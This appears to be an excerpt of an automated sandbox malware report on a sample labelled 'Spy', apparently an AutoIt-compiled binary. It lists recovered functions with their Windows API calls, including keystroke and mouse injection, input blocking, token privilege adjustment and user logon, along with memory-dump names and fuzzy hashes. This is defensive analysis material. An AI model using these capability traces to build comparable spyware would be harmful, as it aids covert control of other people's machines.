CloseHandle.KERNEL32(00000000,?,?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 00AE4345

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle
String ID:
API String ID: 33631002-0
Opcode ID: 3f92096934044d3b0f56b84cbe3e5da399fa33eb43be7f9cf066d5ad160881f6
Instruction ID: 810de1b6f92f25559f539c407ff92c2953d3b38d4204eec6cd8f616bec7948fc
Opcode Fuzzy Hash: 3f92096934044d3b0f56b84cbe3e5da399fa33eb43be7f9cf066d5ad160881f6
Instruction Fuzzy Hash: FE1182B1910229BFE7109BE99C48FEFB7BCEB0D710F004156B914EB190C6B85E4087A1

Function 00AE4F1C Relevance: 4.5, APIs: 3, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00AE4F45
CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 00AE4F5C
FreeSid.ADVAPI32(?), ref: 00AE4F6C

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: bceb8b7cd61e67a82781b08ef77c2d94a67728aa96155b9644b9f9ed4ce64179
Instruction ID: 07690182cbac3684f1d88afcc251ed97d02c0801ec4d167bc96ff6a64627acb4
Opcode Fuzzy Hash: bceb8b7cd61e67a82781b08ef77c2d94a67728aa96155b9644b9f9ed4ce64179
Instruction Fuzzy Hash: 7EF04975A2130CBFDF00DFE0DC89AEEBBBCEF08201F4044A9A901E3180EB756A448B50

Function 00AE1AC6 Relevance: 3.0, APIs: 2, Instructions: 32keyboardCOMMON

Download Yara Rule

APIs

SendInput.USER32(00000001,?,0000001C,?,?,00000002), ref: 00AE1B01
keybd_event.USER32(?,7694C0D0,?,00000000), ref: 00AE1B14

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: InputSendkeybd_event
String ID:
API String ID: 3536248340-0
Opcode ID: af158c185cdce154ebffa9dca5cb2800978d409922224581d89d4a9bcdc4d119
Instruction ID: 0e67eac8fa7398e32bf043d77cbf57daa5696e1468a2ebb8893d9c91d0e458d6
Opcode Fuzzy Hash: af158c185cdce154ebffa9dca5cb2800978d409922224581d89d4a9bcdc4d119
Instruction Fuzzy Hash: A2F0A93190024CABDB00DF91C805BFEBBB4FF14301F00800AF94596292D3798611DF94

Function 00AEA6AD Relevance: 3.0, APIs: 2, Instructions: 31windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,00000FFF,00000000,?,?,00AF9B52,?,00B1098C,?), ref: 00AEA6DA
FormatMessageW.KERNEL32(00001000,00000000,000000FF,00000000,?,00000FFF,00000000,?,?,00AF9B52,?,00B1098C,?), ref: 00AEA6EC

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: 155d3660d536c5c3d03b86f24bb0e36d2e636ed963640bc2a2b3fb823b225a73
Instruction ID: a37295f02fc296a9da4f029f12cc4c32b1db0434ddbef963d4dc5c4d020a3ea4
Opcode Fuzzy Hash: 155d3660d536c5c3d03b86f24bb0e36d2e636ed963640bc2a2b3fb823b225a73
Instruction Fuzzy Hash: 5DF0823551422EBBDB20AFA5CC48FEA77ACAF09361F008156B91897191DA709A40CBE1

Function 00AD8DE9 Relevance: 3.0, APIs: 2, Instructions: 22COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00AD8F27), ref: 00AD8DFE
CloseHandle.KERNEL32(?,?,00AD8F27), ref: 00AD8E10

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: AdjustCloseHandlePrivilegesToken
String ID:
API String ID: 81990902-0
Opcode ID: c0be6c0195e6377d4eb2ef542285733aac9bc86e89e31a98df9a7c6ac72cf14d
Instruction ID: 6ae055b2345734e977aa208cff6f386a8c971ea5bb2eed9b2de9d5ee3604a234
Opcode Fuzzy Hash: c0be6c0195e6377d4eb2ef542285733aac9bc86e89e31a98df9a7c6ac72cf14d
Instruction Fuzzy Hash: 84E0B676010611EFE7262B60ED09EB77BADEB05360B15C92DF4AA854B0DB62ACD0DB50

Function 00AAA385 Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,00AA8F87,?,?,?,00000001), ref: 00AAA38A
UnhandledExceptionFilter.KERNEL32(?,?,?,00000001), ref: 00AAA393

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 0de7747be17cb18b919877a137ae50f8b36f3f5b62b17d0924a45a8462b26155
Instruction ID: 8c2ecc9b544c6a1006f908ee80535bc204f304c09052e9f13d000605e6137799
Opcode Fuzzy Hash: 0de7747be17cb18b919877a137ae50f8b36f3f5b62b17d0924a45a8462b26155
Instruction Fuzzy Hash: 4DB0923107420CEBCA403B91FC09BC83F68EB48B62F808010F61D46064CFA254908A99

Function 00AF45D5 Relevance: 1.5, APIs: 1, Instructions: 25keyboardCOMMON

Download Yara Rule

APIs

BlockInput.USER32(00000001), ref: 00AF45F0

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: BlockInput
String ID:
API String ID: 3456056419-0
Opcode ID: 3fccb5c4993b4d7c529490099916504c1a6eaeee39bbcb0bec5fe38a500efb56
Instruction ID: 100426b60f15dc5f13c062993afb3a2cb247b5a81228a017a320bfbfed5ac638
Opcode Fuzzy Hash: 3fccb5c4993b4d7c529490099916504c1a6eaeee39bbcb0bec5fe38a500efb56
Instruction Fuzzy Hash: 6EE04F352102199FD710BFA9E904A9BF7E8AF98760F008416FD49D7351DEB0ED418B91

Function 00AE51E2 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

mouse_event.USER32(00000002,00000000,00000000,00000000,00000000), ref: 00AE5205

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: mouse_event
String ID:
API String ID: 2434400541-0
Opcode ID: 0d983752b29fc27688fbe22bdab808e6ef2982ef8036a24c79463e5e15ba75aa
Instruction ID: 85254b9cec51d6d11efeb4670ddebc95546da76b627e42222c4488224708a69a
Opcode Fuzzy Hash: 0d983752b29fc27688fbe22bdab808e6ef2982ef8036a24c79463e5e15ba75aa
Instruction Fuzzy Hash: 83D052A8960F8A78EC1833BABE0FF761208EB007C8F84874970028A0C2ECD06881A431

Function 00AD9369 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

LogonUserW.ADVAPI32(?,00000001,?,?,00000000,00AD8FA7), ref: 00AD9389

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: LogonUser
String ID:
API String ID: 1244722697-0
Opcode ID: 0854604f25d62223c7ac238abbd63e833cdfba3f8a7efad1dd6aa6eedf71345d
Instruction ID: 52c6625989d39161f9b8a1f11529b4d43dc9e1c31ac11883596ac3c91e06ca80
Opcode Fuzzy Hash: 0854604f25d62223c7ac238abbd63e833cdfba3f8a7efad1dd6aa6eedf71345d
Instruction Fuzzy Hash: 60D09E3226450EABEF019EA4DD05EEE3B69EB04B01F808511FE15D61A1CB75D935AB60

Function 00AC0722 Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 00AC0734

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: c3c843ba409625b0b08a3902044e2ebdf4230f0d8ed3730a2623107430487801
Instruction ID: 89874b5e0a5ac1fe1730e6e2d3ab661db014f9df5b0ed76a3aab4b8256c6ad2e
Opcode Fuzzy Hash: c3c843ba409625b0b08a3902044e2ebdf4230f0d8ed3730a2623107430487801
Instruction Fuzzy Hash: 9AC04CF181010DDBCB05DBA0D988EEE77BCAB08305F114059A145B2100D7749B448A71

Function 00AAA354 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(?), ref: 00AAA35A

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: b1115a0167e491ea8c7ed76d59703a08ece2ecb950937cb0a8261407825e05d7
Instruction ID: c2d3e0d40518837f13437eb3b3eaab30e2d4e9077106cf6d2221920c396668db
Opcode Fuzzy Hash: b1115a0167e491ea8c7ed76d59703a08ece2ecb950937cb0a8261407825e05d7
Instruction Fuzzy Hash: B5A0123002010CA78A002B41FC044847F5CD6042507408010F40C01021CB7254504584

Function 00B03BA9 Relevance: 51.1, APIs: 6, Strings: 23, Instructions: 365windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,00B10980), ref: 00B03C65
IsWindowVisible.USER32(?), ref: 00B03C89

Strings

ISCHECKED, xrefs: 00B03E77
CURRENTTAB, xrefs: 00B03CFB
HIDEDROPDOWN, xrefs: 00B03D3E
SENDCOMMANDID, xrefs: 00B04018
ISVISIBLE, xrefs: 00B03C75
FINDSTRING, xrefs: 00B03DB4
EDITPASTE, xrefs: 00B03F9D
GETLINE, xrefs: 00B03FD9
DELSTRING, xrefs: 00B03D87
SETCURRENTSELECTION, xrefs: 00B03DF4
SHOWDROPDOWN, xrefs: 00B03D1E
SELECTSTRING, xrefs: 00B03E44
ADDSTRING, xrefs: 00B03D54
GETSELECTED, xrefs: 00B03EE1
TABLEFT, xrefs: 00B03CC5
TABRIGHT, xrefs: 00B03CDB
ISENABLED, xrefs: 00B03CA9
GETLINECOUNT, xrefs: 00B03F04
UNCHECK, xrefs: 00B03EC1
GETCURRENTSELECTION, xrefs: 00B03E21
GETCURRENTLINE, xrefs: 00B03F2B
GETCURRENTCOL, xrefs: 00B03F66
CHECK, xrefs: 00B03EAB

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: BuffCharUpperVisibleWindow
String ID: ADDSTRING$CHECK$CURRENTTAB$DELSTRING$EDITPASTE$FINDSTRING$GETCURRENTCOL$GETCURRENTLINE$GETCURRENTSELECTION$GETLINE$GETLINECOUNT$GETSELECTED$HIDEDROPDOWN$ISCHECKED$ISENABLED$ISVISIBLE$SELECTSTRING$SENDCOMMANDID$SETCURRENTSELECTION$SHOWDROPDOWN$TABLEFT$TABRIGHT$UNCHECK
API String ID: 4105515805-45149045
Opcode ID: d21f6bb0e190a0ef714a82f90d438d006c8331ddf8341555875d9ec4f4b515ed
Instruction ID: 9b50e2e975de780103338a461ccd827b7ebafc53c846a0b60123545166f96c3d
Opcode Fuzzy Hash: d21f6bb0e190a0ef714a82f90d438d006c8331ddf8341555875d9ec4f4b515ed
Instruction Fuzzy Hash: C5D1A0312043018FCB14EF50C995AAEBBE5EF95744F204999F9466B3E2DB31EE4ACB41

Function 00B0ABFF Relevance: 49.8, APIs: 33, Instructions: 274COMMON

Download Yara Rule

APIs

SetTextColor.GDI32(?,00000000), ref: 00B0AC55
GetSysColorBrush.USER32(0000000F), ref: 00B0AC86
GetSysColor.USER32(0000000F), ref: 00B0AC92
SetBkColor.GDI32(?,000000FF), ref: 00B0ACAC
SelectObject.GDI32(?,?), ref: 00B0ACBB
InflateRect.USER32(?,000000FF,000000FF), ref: 00B0ACE6
GetSysColor.USER32(00000010), ref: 00B0ACEE
CreateSolidBrush.GDI32(00000000), ref: 00B0ACF5
FrameRect.USER32(?,?,00000000), ref: 00B0AD04
DeleteObject.GDI32(00000000), ref: 00B0AD0B
InflateRect.USER32(?,000000FE,000000FE), ref: 00B0AD56
FillRect.USER32(?,?,?), ref: 00B0AD88
GetWindowLongW.USER32(?,000000F0), ref: 00B0ADB3

Part of subcall function 00B0AF18: GetSysColor.USER32(00000012), ref: 00B0AF51
Part of subcall function 00B0AF18: SetTextColor.GDI32(?,?), ref: 00B0AF55
Part of subcall function 00B0AF18: GetSysColorBrush.USER32(0000000F), ref: 00B0AF6B
Part of subcall function 00B0AF18: GetSysColor.USER32(0000000F), ref: 00B0AF76
Part of subcall function 00B0AF18: GetSysColor.USER32(00000011), ref: 00B0AF93
Part of subcall function 00B0AF18: CreatePen.GDI32(00000000,00000001,00743C00), ref: 00B0AFA1
Part of subcall function 00B0AF18: SelectObject.GDI32(?,00000000), ref: 00B0AFB2
Part of subcall function 00B0AF18: SetBkColor.GDI32(?,00000000), ref: 00B0AFBB
Part of subcall function 00B0AF18: SelectObject.GDI32(?,?), ref: 00B0AFC8
Part of subcall function 00B0AF18: InflateRect.USER32(?,000000FF,000000FF), ref: 00B0AFE7
Part of subcall function 00B0AF18: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00B0AFFE
Part of subcall function 00B0AF18: GetWindowLongW.USER32(00000000,000000F0), ref: 00B0B013

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameRoundSolid
String ID:
API String ID: 4124339563-0
Opcode ID: eef43cb7934c693824dd56539853a40b2cb5e5aaf60c7329e3b8fbf068b988e8
Instruction ID: 00923177e3e71bed276506ed193d79f4811bfb9dbda4e6a0de3a3b227b148044
Opcode Fuzzy Hash: eef43cb7934c693824dd56539853a40b2cb5e5aaf60c7329e3b8fbf068b988e8
Instruction Fuzzy Hash: EEA16E71018305AFD711AF64DC48AAB7BE9FF88321F508A19F562971E0DB74D984CF52

Function 00A82FE8 Relevance: 49.5, APIs: 27, Strings: 1, Instructions: 486windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?), ref: 00A83072
DeleteObject.GDI32(00000000), ref: 00A830B8
DeleteObject.GDI32(00000000), ref: 00A830C3
DestroyIcon.USER32(00000000,?,?,?), ref: 00A830CE
DestroyWindow.USER32(00000000,?,?,?), ref: 00A830D9
SendMessageW.USER32(?,00001308,?,00000000), ref: 00ABC77C
ImageList_Remove.COMCTL32(?,000000FF,?), ref: 00ABC7B5
MoveWindow.USER32(?,?,?,?,?,00000000), ref: 00ABCBDE

Part of subcall function 00A81F1D: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00A82412,?,00000000,?,?,?,?,00A81AA7,00000000,?), ref: 00A81F76

SendMessageW.USER32(?,00001053), ref: 00ABCC1B
SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 00ABCC32
ImageList_Destroy.COMCTL32(00000000,?,?), ref: 00ABCC48
ImageList_Destroy.COMCTL32(00000000,?,?), ref: 00ABCC53

Strings

0, xrefs: 00ABCA72

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Destroy$ImageList_MessageSendWindow$DeleteObject$IconInvalidateMoveRectRemove
String ID: 0
API String ID: 464785882-4108050209
Opcode ID: b0ef2d8482f247ada9062d37245fd64cf29ddf8f585f3a9a000c1ca58165317b
Instruction ID: 2871afd0d1ea0291c86677ecf8450749538d34708276429bb49449e1a896046c
Opcode Fuzzy Hash: b0ef2d8482f247ada9062d37245fd64cf29ddf8f585f3a9a000c1ca58165317b
Instruction Fuzzy Hash: A6129C31604201EFDB25EF24C884FE9BBB9BF08721F548569E495CB262CB71ED81CB91

Function 00A927FC Relevance: 47.5, APIs: 12, Strings: 15, Instructions: 298COMMON

Download Yara Rule

APIs

Part of subcall function 00AA0FE6: std::exception::exception.LIBCMT ref: 00AA101C
Part of subcall function 00AA0FE6: __CxxThrowException@8.LIBCMT ref: 00AA1031

__wcsnicmp.LIBCMT ref: 00A9286A
__wcsnicmp.LIBCMT ref: 00A9287E
__wcsnicmp.LIBCMT ref: 00A92896
__wcsnicmp.LIBCMT ref: 00A928AE
__wcsnicmp.LIBCMT ref: 00A928C6
__wcsnicmp.LIBCMT ref: 00A928DE
__wcsnicmp.LIBCMT ref: 00A928F6
__wcsnicmp.LIBCMT ref: 00A9290A
__wcsnicmp.LIBCMT ref: 00A92948
__wcsnicmp.LIBCMT ref: 00A9295C
__wcsnicmp.LIBCMT ref: 00A92970
__wcsnicmp.LIBCMT ref: 00A92984

Strings

Cannot parse #include, xrefs: 00ACFCE5
#ce, xrefs: 00A9297E
#comments-end, xrefs: 00A9296A
#notrayicon, xrefs: 00A92878
#include-once, xrefs: 00A928C0
#include, xrefs: 00A928D8
', xrefs: 00ACFB9F
Unterminated group of comments, xrefs: 00ACFCFA
#requireadmin, xrefs: 00A92890
", xrefs: 00ACFB89
Bad directive syntax error, xrefs: 00ACFBD3, 00ACFBF0
#cs, xrefs: 00A92904, 00A92956
#comments-start, xrefs: 00A928F0, 00A92942
#OnAutoItStartRegister, xrefs: 00A928A8
#pragma compile, xrefs: 00A92864

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: __wcsnicmp$Exception@8Throwstd::exception::exception
String ID: "$#OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$'$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
API String ID: 2660009612-1645009161
Opcode ID: a4f84a96eee2a793e4f660a9de55c6431e1977fea6382900dd086a948b13cff1
Instruction ID: c9b3b5182aaed591879e55c987b62cecb946e5c7a486a5ad104d1202b6b238b3
Opcode Fuzzy Hash: a4f84a96eee2a793e4f660a9de55c6431e1977fea6382900dd086a948b13cff1
Instruction Fuzzy Hash: 37A18931B00209BBCF24AF61DE92FAE37F9AF45B40F104069F905AB292EB719E51D750

Function 00AF7B95 Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 284windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000), ref: 00AF7BC8
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00AF7C87
SetRect.USER32(?,00000000,00000000,0000012C,00000064), ref: 00AF7CC5
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000006), ref: 00AF7CD7
CreateWindowExW.USER32(00000006,AutoIt v3,?,88C00000,?,?,?,?,00000000,00000000,00000000), ref: 00AF7D1D
GetClientRect.USER32(00000000,?), ref: 00AF7D29
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000), ref: 00AF7D6D
CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00AF7D7C
GetStockObject.GDI32(00000011), ref: 00AF7D8C
SelectObject.GDI32(00000000,00000000), ref: 00AF7D90
GetTextFaceW.GDI32(00000000,00000040,?,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?), ref: 00AF7DA0
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00AF7DA9
DeleteDC.GDI32(00000000), ref: 00AF7DB2
CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 00AF7DDE
SendMessageW.USER32(00000030,00000000,00000001), ref: 00AF7DF5
CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,0000001E,00000104,00000014,00000000,00000000,00000000), ref: 00AF7E30
